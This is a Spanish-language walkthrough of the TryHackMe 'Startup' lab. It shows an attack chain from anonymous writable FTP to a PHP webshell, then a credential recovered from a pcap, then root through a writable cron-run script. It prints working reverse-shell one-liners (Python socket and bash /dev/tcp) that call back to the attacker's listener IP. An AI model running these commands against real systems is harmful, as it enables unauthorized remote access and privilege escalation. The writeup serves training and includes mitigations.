Startup - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Startup - TryHackMe

📚 Esta publicación pertenece a la colección:

Startup - TryHackMe Walkthrough

Bienvenido a mi writeup de Startup de TryHackMe.

Es una máquina Linux de dificultad fácil en la que consigo acceso inicial abusando de un FTP anónimo con permisos de escritura para subir una webshell. Luego, encuentro una captura de red con credenciales en texto plano y termino escalando a root al modificar un script que parece ejecutarse periódicamente con privilegios elevados.

Room: Startup
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.80.130.194

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Compruebo primero si la máquina está activa:

ping -c4 10.80.130.194
  • -c4 → Envía 4 paquetes ICMP y finaliza
▶ output
64 bytes from 10.80.130.194: icmp_seq=1 ttl=62 time=55.9 ms

El TTL recibido me da una pista de que posiblemente estoy ante un sistema Linux.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Lanzo un escaneo de puertos y versiones:

nmap -sSV -T4 -n 10.80.130.194
  • -sS → SYN scan (stealth)
  • -sV → Detección de versiones
  • -T4 → Plantilla de tiempo agresiva
  • -n → Sin resolución DNS

En la siguiente captura se observa el resultado del escaneo con los tres puertos principales expuestos:

Resultado del escaneo nmap

Veo tres servicios expuestos:

  • 21/tcp → FTP (vsftpd 3.0.3)
  • 22/tcp → SSH (OpenSSH 7.2p2)
  • 80/tcp → HTTP (Apache 2.4.18)

📁 Fase 2: Enumeración

Enumeración Web

Entro en la web y aparece un mensaje indicando que el sitio todavía está en desarrollo y que no hay contenido relevante.

Esta es la página inicial que encuentro en el puerto 80:

Página principal del sitio

Para validarlo, hago fuzzing de directorios:

dirb http://10.80.130.194 /usr/share/wordlists/dirb/small.txt
  • Primer argumento → URL objetivo
  • Segundo argumento → Wordlist usada para fuzzing de directorios

Encuentro la ruta /files.

Dentro veo:

  • Un directorio /ftp/
  • Una imagen important.jpg
  • Un archivo notice.txt

Aquí se ve el índice del directorio /files con los recursos expuestos:

Listado de /files

Investigo los recursos:

El directorio \ftp\ está vacio.
La imagen important.jpg es un meme de amongus
El contenido de notice.txt menciona :

Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY.
People downloading documents from our website will think we are a joke!
Now I dont know who it is, but Maya is looking pretty sus.

Lo único relevante es que nombra a Maya, así que podría haber pistas sobre usuarios internos y sobre el origen de los archivos que aparecen en web.

Enumeración FTP Anónimo

Como el puerto 21 está abierto y en web veo una carpeta /ftp/, posiblemente esta carpeta sea donde se guarden los recursos FTP.

Compruebo si FTP permite acceso anónimo:

nmap -p 21 --script=ftp-anon 10.80.130.194
  • -p 21 → Escanea solo el puerto FTP
  • --script=ftp-anon → Ejecuta el script NSE para comprobar acceso anónimo

El script confirma acceso anónimo y, además, permisos de escritura para el usuario anónimo.

En esta salida se confirma el acceso anónimo y la capacidad de escritura en el recurso FTP:

Enumeración FTP anónimo

Este punto es clave porque podría permitirme subir un archivo ejecutable por el servidor web.

🚀 Fase 3: Explotación

Subida de Webshell y RCE

Preparo la webshell PHP. Usaré esta webshell que encontré en GitHub.

La subo al FTP con el usuario Anonimo:

put webshell.php
  • put → Sube un archivo desde local al servidor FTP
  • webshell.php → Archivo PHP que quiero alojar en el recurso web

Luego visito la ruta publicada por el sitio en:

/ftp/webshell.php

La siguiente captura muestra la webshell funcionando desde la ruta publicada en web:

Webshell PHP ejecutándose

La webshell responde correctamente, así que ya tengo ejecución remota de comandos como www-data.

Reverse Shell

Para trabajar más cómodo, me envío una reverse shell.

Primero me pongo en escucha:

nc -nlvp 4444
  • -n → Sin resolución DNS
  • -l → Modo escucha
  • -v → Salida verbose
  • -p 4444 → Puerto local de escucha

Desde la webshell ejecuto:

export RHOST="192.168.205.78";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
  • export RHOST / RPORT → Define IP y puerto para la conexión reversa
  • python -c → Ejecuta el payload en una sola línea
  • socket.connect(...) → Conecta con mi listener
  • os.dup2(...) → Redirige stdin/stdout/stderr al socket
  • pty.spawn("sh") → Lanza una shell interactiva

Recibo la conexión y obtengo una shell interactiva como www-data.

📁 Fase 4: Post-Explotación

Enumeración del Sistema

Revisando el sistema encuentro:

  • Un archivo recipe.txt en raíz
  • Un directorio de usuario para lennie
  • Un archivo sospechoso en /incident

El archivo de /incident es una captura de red .pcap. La muevo al directorio FTP para descargarla y analizarla desde mi máquina.

Análisis PCAP y Credenciales

En la captura observo comandos ejecutados por www-data desde una webshell y aparece una contraseña en texto plano:

c4ntg3t3n0ughsp1c3

Al probarla por SSH, veo que corresponde al usuario lennie.

Con eso consigo acceso por SSH y puedo moverme con un usuario más estable dentro del sistema.

🚩 Flag de Usuario

Dentro del entorno de lennie localizo la flag de usuario:

/home/lennie/user.txt

🚩 Flag de usuario capturada.

⬆️ Fase 5: Escalada de Privilegios

Abuso de Script Ejecutado por Root

En el home de lennie encuentro el script planner.sh, que parece ejecutarse cada minuto con privilegios de root.

El script utiliza startup_list.txt (sin permisos de lectura para mí) y luego llama a /etc/print.sh.

En toda esta cadena, lennie tiene permisos de escritura en el script auxiliar, donde inyecto una reverse shell:

bash -c 'exec bash -i &>/dev/tcp/192.168.205.78/12345 <&1'
  • bash -c → Ejecuta el comando completo en una nueva shell
  • /dev/tcp/IP/PUERTO → Abre conexión TCP hacia mi listener
  • bash -i → Shell interactiva
  • &>/... <&1 → Redirige salida y entrada a la conexión de red

Me pongo a la escucha:

nc -lvnp 12345
  • -l → Modo escucha
  • -v → Salida detallada
  • -n → Sin resolución DNS
  • -p 12345 → Puerto local para recibir la shell root

Espero a que se ejecute de manera programada el flujo.

Al poco tiempo recibo una conexión como root.

🚩 Flag de Root

Con privilegios de root accedo a la flag final:

/root/root.txt

🚩 Flag de root capturada.

📊 Resumen

Cadena de Ataque

nmap → FTP anónimo → webshell PHP → reverse shell → análisis PCAP → credencial lennie → SSH → abuso script → root.txt

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y enumeración FTP anónimo
  • dirb — Fuzzing de directorios web
  • FTP client — Subida de webshell
  • netcat — Listeners para reverse shell
  • Wireshark/tcpdump — Análisis de captura PCAP
  • ssh — Acceso remoto con credenciales obtenidas

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
FTP anónimo con permisos de escrituraCRÍTICADeshabilitar acceso anónimo y aplicar permisos mínimos en recursos FTP
Ejecución de archivos subidos desde ruta webALTASeparar almacenamiento de uploads del docroot y bloquear ejecución de scripts
Credenciales en texto plano dentro de tráfico capturadoALTAUsar protocolos cifrados y políticas de gestión de credenciales seguras
Script invocable por root modificable por usuario no privilegiadoCRÍTICAProteger permisos de scripts y validar integridad de tareas programadas

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.